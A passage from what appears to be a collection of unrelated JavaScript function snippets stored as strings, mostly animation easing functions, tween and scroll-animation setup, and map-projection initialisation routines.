amplitude = change;\n overshoot = period / 4;\n }\n else {\n overshoot = period / (2 * Math.PI) * Math.asin(change / amplitude);\n }\n if (time < 1) {\n return -0.5 * (amplitude * Math.pow(2, 10 * (time -= 1))) * Math.sin((time * duration - overshoot) * ((2 * Math.PI) / period)) + begin;\n }\n else {\n return amplitude * Math.pow(2, -10 * (time -= 1)) * Math.sin((time * duration - overshoot) * (2 * Math.PI) / period) + change + begin;\n }\n }\n };\n this.expoIn = function (time, begin, change, duration) {\n if (time === 0) {\n return begin;\n }\n return change * Math.pow(2, 10 * (time / duration - 1)) + begin;\n };\n this.expoOut = function (time, begin, change, duration) {\n if (time === duration) {\n return begin + change;\n }\n return change * (-Math.pow(2, -10 * time / duration) + 1) + begin;\n };\n this.expoInOut = function (time, begin, change, duration) {\n if (time === 0) {\n return begin;\n }\n else if (time === duration) {\n return begin + change;\n }\n else if ((time = time / (duration / 2)) < 1) {\n return change / 2 * Math.pow(2, 10 * (time - 1)) + begin;\n }\n else {\n return change / 2 * (-Math.pow(2, -10 * (time - 1)) + 2) + begin;\n }\n };\n this.linearIn = function (time, begin, change, duration) {\n return this.linearNone(time, begin, change, duration);\n }.bind(this);\n this.linearOut = function (time, begin, change, duration) {\n return this.linearNone(time, begin, change, duration);\n }.bind(this);\n this.linearInOut = function (time, begin, change, duration) {\n return this.linearNone(time, begin, change, duration);\n }.bind(this);\n this.quadIn = function (time, begin, change, duration) {\n return change * (time = time / duration) * time + begin;\n };\n this.quadOut = function (time, begin, change, duration) {\n return -change * (time = time / duration) * (time - 2) + begin;\n };\n this.quadInOut = function (time, begin, change, duration) {\n if ((time = time / (duration / 2)) < 1) {\n return change / 2 * time * time + begin;\n }\n else {\n return -change / 2 * ((time -= 1) * (time - 2) - 1) + begin;\n }\n };\n this.quartIn = function (time, begin, change, duration) {\n return change * (time = time / duration) * time * time * time + begin;\n };\n this.quartOut = function (time, begin, change, duration) {\n return -change * ((time = time / duration - 1) * time * time * time - 1) + begin;\n };\n this.quartInOut = function (time, begin, change, duration) {\n if ((time = time / (duration / 2)) < 1) {\n return change / 2 * time * time * time * time + begin;\n }\n else {\n return -change / 2 * ((time -= 2) * time * time * time - 2) + begin;\n }\n };\n this.quintIn = function (time, begin, change, duration) {\n return change * (time = time / duration) * time * time * time * time + begin;\n };\n this.quintOut = function (time, begin, change, duration) {\n return change * ((time = time / duration - 1) * time * time * time * time + 1) + begin;\n };\n this.quintInOut = function (time, begin, change, duration) {\n if ((time = time / (duration / 2)) < 1) {\n return change / 2 * time * time * time * time * time + begin;\n }\n else {\n return change / 2 * ((time -= 2) * time * time * time * time + 2) + begin;\n }\n };\n this.sineIn = function (time, begin, change, duration) {\n return -change * Math.cos(time / duration * (Math.PI / 2)) + change + begin;\n };\n this.sineOut = function (time, begin, change, duration) {\n return change * Math.sin(time / duration * (Math.PI / 2)) + begin;\n };\n this.sineInOut = function (time, begin, change, duration) {\n return -change / 2 * (Math.cos(Math.PI * time / duration) - 1) + begin;\n };\n this.duration = parameters.duration * 1000;\n this.destination = parameters.destination;\n this.origin = parameters.origin;\n this.update = parameters.update;\n this.complete = parameters.complete;\n this.start = parameters.start;\n this.delay = parameters.delay;\n this.overshoot = parameters.overshoot;\n }", "function initAnimation() {\n}", "function Init() {\n /**\n * SETUP VARIABLE AT FIRST\n */\n an.rubyID = DB.GetRubyID($anim);\n myData = that.data = vData[an.rubyID];\n // Setup initialization timer of object\n if (myData.tsInit == UNDE)\n myData.tsInit = VA.tsCur;\n // Properties & options of object\n var prop = myData.prop, opts = myData.opts;\n an.propEnd = prop[prop.length - 1];\n an.optsEnd = opts[opts.length - 1];\n /**\n * SETUP AFTER START ANIMATION\n */\n SetupStyleBegin();\n Start();\n }", "init() {\n this.previousSlide();\n this.createControls();\n this.initGestures();\n }", "function init() {\n var con = this.b / this.a;\n this.es = 1 - con * con;\n if(!('x0' in this)){\n this.x0 = 0;\n }\n if(!('y0' in this)){\n this.y0 = 0;\n }\n this.e = Math.sqrt(this.es);\n if (this.lat_ts) {\n if (this.sphere) {\n this.k0 = Math.cos(this.lat_ts);\n }\n else {\n this.k0 = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_0__common_msfnz__[\"a\" /* default */])(this.e, Math.sin(this.lat_ts), Math.cos(this.lat_ts));\n }\n }\n else {\n if (!this.k0) {\n if (this.k) {\n this.k0 = this.k;\n }\n else {\n this.k0 = 1;\n }\n }\n }\n}", "function Easing() {\n $( \"#target\" ).animate({}, 500, function() {\n $(topEdge());\n $(LeftEdge());\n $(topEdge());\n $(BottomEdge());\n $(LeftEdge());\n $(RightEdge());\n $(NudgeRight());\n $(NudgeLeft());\n $(topEdge());\n $(LeftEdge());\n $(NudgeRight());\n $(NudgeRight());\n $(LeftEdge());\n\n });\n }", "function init() {\n animation.Initialize();\n }", "function init() {\n //no-op\n if (!this.sphere) {\n this.k0 = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_2__common_msfnz__[\"a\" /* default */])(this.e, Math.sin(this.lat_ts), Math.cos(this.lat_ts));\n }\n}", "setupTween() {\n this.tween = this.getInitialTweenInstance(this.wall.position);\n this.tween.onStart(() => {\n this.onStart();\n if (this.debug) {\n console.log('Animation start');\n console.log(this.tween);\n }\n if (this.wall.position.distanceTo(this.tween._valuesEnd) > 0) {\n this.playAudio();\n }\n });\n this.tween.onComplete(() => this.onComplete());\n }", "function init() {\n\n //this thing is for hiding the second and the third image slide\n TweenLite.set(slide.not(active), { autoAlpha: 0 });\n\n //this thing is for hiding the second and the third text slide\n TweenLite.set(textSlide.not(active), { autoAlpha: 0 });\n\n }", "function setupTween()\n{\n\t// \n\tvar update\t= function(){\n\t\tcube.position.x = current.x;\n\t}\n\tvar current\t= { x: -userOpts.range };\n\n\t// remove previous tweens if needed\n\tTWEEN.removeAll();\n\t\n\t// convert the string from dat-gui into tween.js functions \n\tvar easing\t= TWEEN.Easing[userOpts.easing.split('.')[0]][userOpts.easing.split('.')[1]];\n\t// build the tween to go ahead\n\tvar tweenHead\t= new TWEEN.Tween(current)\n\t\t.to({x: +userOpts.range}, userOpts.duration)\n\t\t.delay(userOpts.delay)\n\t\t.easing(easing)\n\t\t.onUpdate(update);\n\t// build the tween to go backward\n\tvar tweenBack\t= new TWEEN.Tween(current)\n\t\t.to({x: -userOpts.range}, userOpts.duration)\n\t\t.delay(userOpts.delay)\n\t\t.easing(easing)\n\t\t.onUpdate(update);\n\n\t// after tweenHead do tweenBack\n\ttweenHead.chain(tweenBack);\n\t// after tweenBack do tweenHead, so it is cycling\n\ttweenBack.chain(tweenHead);\n\n\t// start the first\n\ttweenHead.start();\n}", "static EaseInOut() {}", "function init() {\n //no-op\n if (!this.sphere) {\n this.k0 = Object(_common_msfnz__WEBPACK_IMPORTED_MODULE_2__[\"default\"])(this.e, Math.sin(this.lat_ts), Math.cos(this.lat_ts));\n }\n}", "_extendDefaults() {\n // save callback overrides object with fallback to empty one\n this._callbackOverrides = this._o.callbackOverrides || {};\n delete this._o.callbackOverrides;\n // call the _extendDefaults @ Module\n super._extendDefaults();\n\n var p = this._props;\n p.easing = easing.parseEasing(p.easing);\n p.easing._parent = this;\n\n // parse only present backward easing to prevent parsing as `linear.none`\n // because we need to fallback to `easing` in `_setProgress` method\n if ( p.backwardEasing != null ) {\n p.backwardEasing = easing.parseEasing(p.backwardEasing);\n p.backwardEasing._parent = this;\n }\n }", "function init() {\n initValues();\n initEngine();\n initLevel();\n initTouchHandlers();\n startTurn();\n initEffects();\n setInterval(tick, 10);\n\t}", "function init() {\n if (!this.sphere) {\n this.e0 = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__common_e0fn__[\"a\" /* default */])(this.es);\n this.e1 = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_2__common_e1fn__[\"a\" /* default */])(this.es);\n this.e2 = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_3__common_e2fn__[\"a\" /* default */])(this.es);\n this.e3 = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__common_e3fn__[\"a\" /* default */])(this.es);\n this.ml0 = this.a * __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_0__common_mlfn__[\"a\" /* default */])(this.e0, this.e1, this.e2, this.e3, this.lat0);\n }\n}", "static inOut(easing) {\n return t => {\n if (t < 0.5) {\n return easing(t * 2) / 2;\n }\n return 1 - easing((1 - t) * 2) / 2;\n };\n }", "constructor(){\n this.inProgressAnimation;\n this.elementToAnimate;\n this.animationDuration;\n }", "function an_setAnimationCurves(){\n\t\tif (!an_canProceed()) { return false; }\n\t\tif(INTERPOLATOR_MODE < android_interpolator.interpolatorTypesAry.length){\n\t\t\tan_two_keyframe_func();\n\t\t}\n\t\telse{\n\n\t\t\t// var k0 = BEZIER_FUNCTION[INTERPOLAOTR_STRING_ARRAY[INTERPOLATOR_MODE]][0];\n\t\t\t// var k1 = BEZIER_FUNCTION[INTERPOLAOTR_STRING_ARRAY[INTERPOLATOR_MODE]][1];\n\t\t\t// var k2 = BEZIER_FUNCTION[INTERPOLAOTR_STRING_ARRAY[INTERPOLATOR_MODE]][2];\n\t\t\t// var k3 = BEZIER_FUNCTION[INTERPOLAOTR_STRING_ARRAY[INTERPOLATOR_MODE]][3];\n\n\t\t\t// alert(bezier1)\n\n\t\t\t//alert(k0+\",\"+k1+\",\"+k2+\",\"+k3+\"\")\n\t\t\tan_two_keyframe_cubicbeziers(bezier1,bezier2,bezier3,bezier4);\n\n\t\t\t//an_two_keyframe_cubicbeziers(0.42, 0.00, 1.00, 1.00);\n\t\t}\n\t}", "static inOut(easing) {\n return t => {\n if (t < 0.5) return easing(t * 2) / 2\n return 1 - easing((1 - t) * 2) / 2\n }\n }", "function init() {\n\t\tmasonryConfig();\n\t\towlCarouselConfig();\n\t\tisotopeConfig();\n\t\tmagnificPopupConfig() \n\t\tcontactValidateConfig()\n\t\tparallaxEffect();\n\t\tinternalMenu();\n\t\tflipMenuInit()\n\t}", "function init(){\n\tnew SmoothScroll(document,200,2)\n}", "static out(easing) {\n return t => 1 - easing(1 - t)\n }", "constructor(from, to, duration, stall, ease = false) {\n // Points\n this.from = from;\n this.to = to;\n // Time\n this.duration = duration;\n this.stall = stall; // how long to stall far at the end of the movement.\n this.elapsed = 0;\n this.initialTime = null;\n // Boolean governing interpolation function\n this.ease = ease;\n }", "function salientPageBuilderElInit() {\r\n\t\t\t\t\tflexsliderInit();\r\n\t\t\t\t\tsetTimeout(flickityInit, 100);\r\n\t\t\t\t\ttwentytwentyInit();\r\n\t\t\t\t\tstandardCarouselInit();\r\n\t\t\t\t\tproductCarouselInit();\r\n\t\t\t\t\tclientsCarouselInit();\r\n\t\t\t\t\tcarouselfGrabbingClass();\r\n\t\t\t\t\tsetTimeout(tabbedInit, 60);\r\n\t\t\t\t\taccordionInit();\r\n\t\t\t\t\tlargeIconHover();\r\n\t\t\t\t\tnectarIconMatchColoring();\r\n\t\t\t\t\tcoloredButtons();\r\n\t\t\t\t\tteamMemberFullscreen();\r\n\t\t\t\t\tflipBoxInit();\r\n\t\t\t\t\towlCarouselInit();\r\n\t\t\t\t\tmouseParallaxInit();\r\n\t\t\t\t\tulCheckmarks();\r\n\t\t\t\t\tmorphingOutlinesInit();\r\n\t\t\t\t\tcascadingImageInit();\r\n\t\t\t\t\timageWithHotspotEvents();\r\n\t\t\t\t\tpricingTableHeight();\r\n\t\t\t\t\tpageSubmenuInit();\r\n\t\t\t\t\tnectarLiquidBGs();\r\n\t\t\t\t\tnectarTestimonialSliders();\r\n\t\t\t\t\tnectarTestimonialSlidersEvents();\r\n\t\t\t\t\trecentPostsTitleOnlyEqualHeight();\r\n\t\t\t\t\trecentPostsInit();\r\n\t\t\t\t\tparallaxItemHoverEffect();\r\n\t\t\t\t\tfsProjectSliderInit();\r\n\t\t\t\t\tpostMouseEvents();\r\n\t\t\t\t\tmasonryPortfolioInit();\r\n\t\t\t\t\tmasonryBlogInit();\r\n\t\t\t\t\tportfolioCustomColoring();\r\n\t\t\t\t\tsearchResultMasonryInit();\r\n\t\t\t\t\tstickySidebarInit();\r\n\t\t\t\t\tportfolioSidebarFollow();\r\n\t\t\t\t}", "initAnimations() {\n var idle = this.level.player.animations.add('idle', [0, 1, 2, 3], 5);\n var walk_left = this.level.player.animations.add('walk_left', [5, 6, 7, 8]);\n var walk_right = this.level.player.animations.add('walk_right', [10, 11, 12, 13]);\n var jump = this.level.player.animations.add('jump', [15, 16, 17, 18]);\n var attack_left = this.level.player.animations.add('attack_left', [20, 21, 22, 23, 24]);\n var attack_right = this.level.player.animations.add('attack_right', [25, 26, 27, 28, 29]);\n }", "function init() {\n //double temp; /* temporary variable */\n\n /* Place parameters in static storage for common use\n -------------------------------------------------*/\n this.sin_p14 = Math.sin(this.lat0);\n this.cos_p14 = Math.cos(this.lat0);\n}", "static out(easing) {\n return t => 1 - easing(1 - t);\n }", "function easing(n) {\r\n return Math.min(0.7, Math.abs(Math.cos(n * rad))) / 0.7;\r\n }", "function initAnchors() {\n\tnew SmoothScroll({\n\t\tanchorLinks: 'a[href^=\"#\"]:not([href=\"#\"])'\n\t});\n\tnew SmoothScroll({\n\t\tanchorLinks: 'a[href^=\"#\"]:not([href=\"#\"])',\n\t\textraOffset: 30,\n\t\tactiveClasses: 'link'\n\t});\n\tnew SmoothScroll({\n\t\tanchorLinks: 'a[href^=\"#\"]:not([href=\"#\"])',\n\t\teasing: 'linear'\n\t});\n}", "@autobind\n triggerInstructions(event) {\n this.state = SELECTORS.INSTRUCTIONS;\n TweenMax.to(this, 3, {fadeDistance: 1000});\n TweenMax.to(this.mesh2.position, 2*2.5, {z: 0, onComplete:this.moveExtraDot, ease: Power2.easeInOut});\n\n this.extraDotStartVector.x = this.translateArray2[0];\n this.extraDotStartVector.y = this.translateArray2[1];\n this.extraDotStartVector.z = this.translateArray2[2];\n\n this.extraDotEndVector.x = 30 + Math.random() * 20 - 10;\n this.extraDotEndVector.y = -23 + Math.random()*2 - 2;\n this.extraDotEndVector.z = this.translateArray2[2];//Math.random()*2 - 1;\n\n this.tweenContainer.time = 0;\n this.tweenContainer2.time = 0;\n TweenMax.to(this.tweenContainer, 1*2.5, {time: 1, ease:Power2.easeOut});\n TweenMax.to(this.tweenContainer2, 1*2.5, {time: 1, ease:Power2.easeIn});\n this.scaleOriginArray2 [ 0 ] = 30000;\n this.scaleTargetArray2[ 0 ] = 10 + Math.random()*60;\n\n }", "function init() {\n\n if (Math.abs(this.lat1 + this.lat2) < __WEBPACK_IMPORTED_MODULE_4__constants_values__[\"a\" /* EPSLN */]) {\n return;\n }\n this.temp = this.b / this.a;\n this.es = 1 - Math.pow(this.temp, 2);\n this.e3 = Math.sqrt(this.es);\n\n this.sin_po = Math.sin(this.lat1);\n this.cos_po = Math.cos(this.lat1);\n this.t1 = this.sin_po;\n this.con = this.sin_po;\n this.ms1 = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_0__common_msfnz__[\"a\" /* default */])(this.e3, this.sin_po, this.cos_po);\n this.qs1 = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__common_qsfnz__[\"a\" /* default */])(this.e3, this.sin_po, this.cos_po);\n\n this.sin_po = Math.sin(this.lat2);\n this.cos_po = Math.cos(this.lat2);\n this.t2 = this.sin_po;\n this.ms2 = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_0__common_msfnz__[\"a\" /* default */])(this.e3, this.sin_po, this.cos_po);\n this.qs2 = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__common_qsfnz__[\"a\" /* default */])(this.e3, this.sin_po, this.cos_po);\n\n this.sin_po = Math.sin(this.lat0);\n this.cos_po = Math.cos(this.lat0);\n this.t3 = this.sin_po;\n this.qs0 = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__common_qsfnz__[\"a\" /* default */])(this.e3, this.sin_po, this.cos_po);\n\n if (Math.abs(this.lat1 - this.lat2) > __WEBPACK_IMPORTED_MODULE_4__constants_values__[\"a\" /* EPSLN */]) {\n this.ns0 = (this.ms1 * this.ms1 - this.ms2 * this.ms2) / (this.qs2 - this.qs1);\n }\n else {\n this.ns0 = this.con;\n }\n this.c = this.ms1 * this.ms1 + this.ns0 * this.qs1;\n this.rh = this.a * Math.sqrt(this.c - this.ns0 * this.qs0) / this.ns0;\n}", "function initializeMain(){\n\tinit();\n\tanimate();\n}", "function init() {\n this.no_off = this.no_off || false;\n this.no_rot = this.no_rot || false;\n\n if (isNaN(this.k0)) {\n this.k0 = 1;\n }\n var sinlat = Math.sin(this.lat0);\n var coslat = Math.cos(this.lat0);\n var con = this.e * sinlat;\n\n this.bl = Math.sqrt(1 + this.es / (1 - this.es) * Math.pow(coslat, 4));\n this.al = this.a * this.bl * this.k0 * Math.sqrt(1 - this.es) / (1 - con * con);\n var t0 = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_0__common_tsfnz__[\"a\" /* default */])(this.e, this.lat0, sinlat);\n var dl = this.bl / coslat * Math.sqrt((1 - this.es) / (1 - con * con));\n if (dl * dl < 1) {\n dl = 1;\n }\n var fl;\n var gl;\n if (!isNaN(this.longc)) {\n //Central point and azimuth method\n\n if (this.lat0 >= 0) {\n fl = dl + Math.sqrt(dl * dl - 1);\n }\n else {\n fl = dl - Math.sqrt(dl * dl - 1);\n }\n this.el = fl * Math.pow(t0, this.bl);\n gl = 0.5 * (fl - 1 / fl);\n this.gamma0 = Math.asin(Math.sin(this.alpha) / dl);\n this.long0 = this.longc - Math.asin(gl * Math.tan(this.gamma0)) / this.bl;\n\n }\n else {\n //2 points method\n var t1 = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_0__common_tsfnz__[\"a\" /* default */])(this.e, this.lat1, Math.sin(this.lat1));\n var t2 = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_0__common_tsfnz__[\"a\" /* default */])(this.e, this.lat2, Math.sin(this.lat2));\n if (this.lat0 >= 0) {\n this.el = (dl + Math.sqrt(dl * dl - 1)) * Math.pow(t0, this.bl);\n }\n else {\n this.el = (dl - Math.sqrt(dl * dl - 1)) * Math.pow(t0, this.bl);\n }\n var hl = Math.pow(t1, this.bl);\n var ll = Math.pow(t2, this.bl);\n fl = this.el / hl;\n gl = 0.5 * (fl - 1 / fl);\n var jl = (this.el * this.el - ll * hl) / (this.el * this.el + ll * hl);\n var pl = (ll - hl) / (ll + hl);\n var dlon12 = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__common_adjust_lon__[\"a\" /* default */])(this.long1 - this.long2);\n this.long0 = 0.5 * (this.long1 + this.long2) - Math.atan(jl * Math.tan(0.5 * this.bl * (dlon12)) / pl) / this.bl;\n this.long0 = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__common_adjust_lon__[\"a\" /* default */])(this.long0);\n var dlon10 = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__common_adjust_lon__[\"a\" /* default */])(this.long1 - this.long0);\n this.gamma0 = Math.atan(Math.sin(this.bl * (dlon10)) / gl);\n this.alpha = Math.asin(dl * Math.sin(this.gamma0));\n }\n\n if (this.no_off) {\n this.uc = 0;\n }\n else {\n if (this.lat0 >= 0) {\n this.uc = this.al / this.bl * Math.atan2(Math.sqrt(dl * dl - 1), Math.cos(this.alpha));\n }\n else {\n this.uc = -1 * this.al / this.bl * Math.atan2(Math.sqrt(dl * dl - 1), Math.cos(this.alpha));\n }\n }\n\n}", "static Lerp() {}", "function init() {\n currentTime = 0;\n interval = setInterval(scrollStep, configs.intervalTime);\n addListeners();\n }", "function waypointsInit() {\n\n var headerWaypoint = new Waypoint({\n element: document.getElementById('masthead'),\n offset: -5,\n handler: function (direction) {\n if (direction === 'down')\n this.element.classList.remove('animation-on');\n else\n this.element.classList.add('animation-on');\n }\n });\n\n var footerWaypoint = new Waypoint({\n element: document.getElementById('footer'),\n handler: function (direction) {\n this.element.classList.toggle('animation-on');\n }\n });\n\n }", "function generateTweens() {\n\n\t// Tweens\n\tvar tween = new TimelineMax()\n\t\t.add(TweenMax.to(\"#introfirst\", 1, {transform: \"translateY(0)\"}))\n\n\tnew ScrollMagic.Scene({\n\t triggerElement: \"#intro\",\n\t duration: '100%'\n\t})\n\t.setTween(tween)\n\t.addTo(window.controller);\n\n\t//\n\n\tvar tween = new TimelineMax()\n\t\t.add(TweenMax.to(\"#introsecond\", 1, {transform: \"translateY(0)\"}))\n\n\tnew ScrollMagic.Scene({\n\t triggerElement: \"#intro\",\n\t duration: '100%'\n\t})\n\t.setTween(tween)\n\t.addTo(window.controller);\n\n\t//\n/*\n\tvar tween = new TimelineMax()\n\t\t.add(TweenMax.to(\"#pickaddressheader\", 1, {transform: \"translateY(-100px)\"}))\n\n\tnew ScrollMagic.Scene({\n\t triggerElement: \"#address\",\n\t duration: '100%'\n\t})\n\t.setTween(tween)\n\t.addTo(window.controller);\n\n\t//\n\n\t//\n\n\tvar tween = new TimelineMax()\n\t\t.add(TweenMax.to(\"#public\", 1.0, {transform: \"translateY(-100px)\"}))\n\n\tnew ScrollMagic.Scene({\n\t triggerElement: \"#useaddress\",\n\t duration: '80%'\n\t})\n\t.setTween(tween)\n\t.addTo(window.controller);\n*/\n\t//\n\n\tvar tween = new TimelineMax()\n\t\t.add(TweenMax.to(\"#useaddressimages\", 1.0, {width: \"100%\"}))\n\n\tnew ScrollMagic.Scene({\n\t triggerElement: \"#useaddress\",\n\t duration: '100%'\n\t})\n\t.setTween(tween)\n\t.addTo(window.controller);\n\n\t//\n\n\tvar tween = new TimelineMax()\n\t\t.add(TweenMax.to(\"#transline\", 1.0, {width: \"222px\"}))\n\n\tnew ScrollMagic.Scene({\n\t triggerElement: \"#transaction\",\n\t duration: '60%'\n\t})\n\t.setTween(tween)\n\t.addTo(window.controller);\n\n\t//\n\n\tvar tween = new TimelineMax()\n\t\t.add(TweenMax.to(\"#secretkeyinfo\", 1.0, {autoAlpha: 1}))\n\t\t.add(TweenMax.to(\"#keyimg\", 1.0, {autoAlpha: 1}))\n\n\tnew ScrollMagic.Scene({\n\t triggerElement: \"#secretkey\",\n\t duration: '80%'\n\t})\n\t.setTween(tween)\n\t.addTo(window.controller);\n\n\t//\n\n\tvar tween = new TimelineMax()\n\t\t.add(TweenMax.to(\"#ledgerright\", 0.5, {transform: \"translateX(0)\"}))\n\n\tnew ScrollMagic.Scene({\n\t triggerElement: \"#ledger\",\n\t duration: '100%'\n\t})\n\t.setTween(tween)\n\t.addTo(window.controller);\n\n\t//\n\n\tvar tween = new TimelineMax()\n\t\t.add(TweenMax.to(\"#ledgerleft\", 1, {transform: \"translateX(-50%)\"}))\n\n\tnew ScrollMagic.Scene({\n\t triggerElement: \"#ledger\",\n\t duration: '100%'\n\t})\n\t.setTween(tween)\n\t.addTo(window.controller);\n\n\t//\n\n\tvar tween = new TimelineMax()\n\t\t.add(TweenMax.to(\"#packagepanel\", 1, {transform: \"translateX(0)\"}))\n\n\tnew ScrollMagic.Scene({\n\t triggerElement: \"#package\",\n\t duration: '50%'\n\t})\n\t.setTween(tween)\n\t.addTo(window.controller);\n\n\t//\n\n\tvar tween = new TimelineMax()\n\t\t.add(TweenMax.to(\"#networkpropinfo\", 1.0, {autoAlpha: 1}))\n\n\tnew ScrollMagic.Scene({\n\t triggerElement: \"#network\",\n\t duration: '80%'\n\t})\n\t.setTween(tween)\n\t.addTo(window.controller);\n\n\t//\n\n\tvar tween = new TimelineMax()\n\t\t.add(TweenMax.to(\"#check1\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check3\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check7\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check8\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check10\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check12\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check14\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check16\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check18\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check20\", 0.5, {autoAlpha:1}))\n\n\n\tnew ScrollMagic.Scene({\n\t triggerElement: \"#network\",\n\t duration: '80%'\n\t})\n\t.setTween(tween)\n\t.addTo(window.controller);\n\n\tvar tween = new TimelineMax()\n\t\t.add(TweenMax.to(\"#check2\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check4\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check6\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check9\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check11\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check13\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check15\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check17\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check19\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check21\", 0.5, {autoAlpha:1}))\n\n\tnew ScrollMagic.Scene({\n\t triggerElement: \"#network\",\n\t duration: '80%'\n\t})\n\t.setTween(tween)\n\t.addTo(window.controller);\n\n\tvar tween = new TimelineMax()\n\t\t.add(TweenMax.to(\"#check2\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check5\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check6\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check9\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check11\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check13\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check15\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check17\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check19\", 0.5, {autoAlpha:1}))\n\t\t.add(TweenMax.to(\"#check21\", 0.5, {autoAlpha:1}))\n\n\tnew ScrollMagic.Scene({\n\t triggerElement: \"#network\",\n\t duration: '80%'\n\t})\n\t.setTween(tween)\n\t.addTo(window.controller);\n\n\t//\n\n\tvar tween = new TimelineMax()\n\t\t.add(TweenMax.to(\"#animatedblockchain\", 1, {transform: \"translateY(0)\"}))\n\t\t.add(TweenMax.to(\"#animatedwinner\", 1, {transform: \"translateY(0)\",autoAlpha:1}))\n\n\tnew ScrollMagic.Scene({\n\t triggerElement: \"#blockchain\",\n\t duration: '80%'\n\t})\n\t.setTween(tween)\n\t.addTo(window.controller);\n\n\t//\n\n\tvar tween = new TimelineMax()\n\t\t.add(TweenMax.to(\"#blockchaininfo\", 1.0, {autoAlpha: 1}))\n\n\tnew ScrollMagic.Scene({\n\t triggerElement: \"#blockchain\",\n\t duration: '80%'\n\t})\n\t.setTween(tween)\n\t.addTo(window.controller);\n\n}", "function JJPower() {\n JJPower.easeArray = [0, 0.004, 0.008, 0.013, 0.019, 0.026, 0.033, 0.041, 0.05, 0.06, 0.071, 0.082, 0.095, 0.108, 0.122, 0.137, 0.152, 0.169, 0.185, 0.203, 0.221, 0.239, 0.257, 0.276, 0.295, 0.314, 0.333, 0.352, 0.371, 0.39, 0.409, 0.427, 0.445, 0.462, 0.48, 0.497, 0.513, 0.53, 0.545, 0.561, 0.576, 0.591, 0.605, 0.619, 0.632, 0.645, 0.658, 0.67, 0.683, 0.694, 0.706, 0.717, 0.727, 0.738, 0.748, 0.758, 0.767, 0.776, 0.785, 0.794, 0.802, 0.811, 0.818, 0.826, 0.834, 0.841, 0.848, 0.855, 0.861, 0.867, 0.874, 0.879, 0.885, 0.891, 0.896, 0.901, 0.906, 0.911, 0.916, 0.92, 0.925, 0.929, 0.933, 0.937, 0.941, 0.944, 0.948, 0.951, 0.954, 0.958, 0.96, 0.963, 0.966, 0.969, 0.971, 0.973, 0.976, 0.978, 0.98, 0.982, 0.983, 0.985, 0.987, 0.988, 0.99, 0.991, 0.992, 0.993, 0.994, 0.995, 0.996, 0.997, 0.998, 0.998, 0.999, 0.999, 0.999, 1, 1, 1, 1];\n JJPower.isMobile = false;\n\n /** Prep Static Functions **/\n JJPower.enhance = function (element) {\n if (element) {\n Object.assign(element, JJPower.prototype);\n }\n return element;\n };\n\n JJPower.query = function () {\n const queryText = getGeneratedQueryText(...arguments);\n\n const element = document.querySelector(queryText);\n\n JJPower.enhance(element);\n return element;\n };\n\n JJPower.jjCreateElement = function (tagName) {\n var element;\n if (tagName.toUpperCase() == 'SVG') {\n element = document.createElementNS('http://www.w3.org/2000/svg', tagName);\n } else {\n element = document.createElement(tagName);\n }\n return JJPower.enhance(element);\n };\n\n /** *Commonly used****/\n JJPower.prototype.jjWidth = function () {\n return this.getBoundingClientRect().width;\n };\n\n JJPower.prototype.jjAppend = function (tagName) {\n const me = this;\n let child;\n if (isSVGElement(tagName)) {\n child = document.createElementNS('http://www.w3.org/2000/svg', tagName);\n } else {\n child = document.createElement(tagName);\n }\n JJPower.enhance(child);\n\n this.appendChild(child);\n return child;\n\n\n // Inner functions\n // Either the tag itself is SVG, or it's parent (this) is an SVG element\n function isSVGElement(tagName) {\n const isIt = (tagName.toUpperCase() == 'SVG' || (me instanceof SVGElement));\n return isIt;\n }\n };\n\n JJPower.prototype.jjQuery = function () {\n const queryText = getGeneratedQueryText(...arguments);\n\n const element = this.querySelector(queryText);\n JJPower.enhance(element);\n return element;\n };\n\n JJPower.prototype.jjQueryAll = function () {\n const queryText = 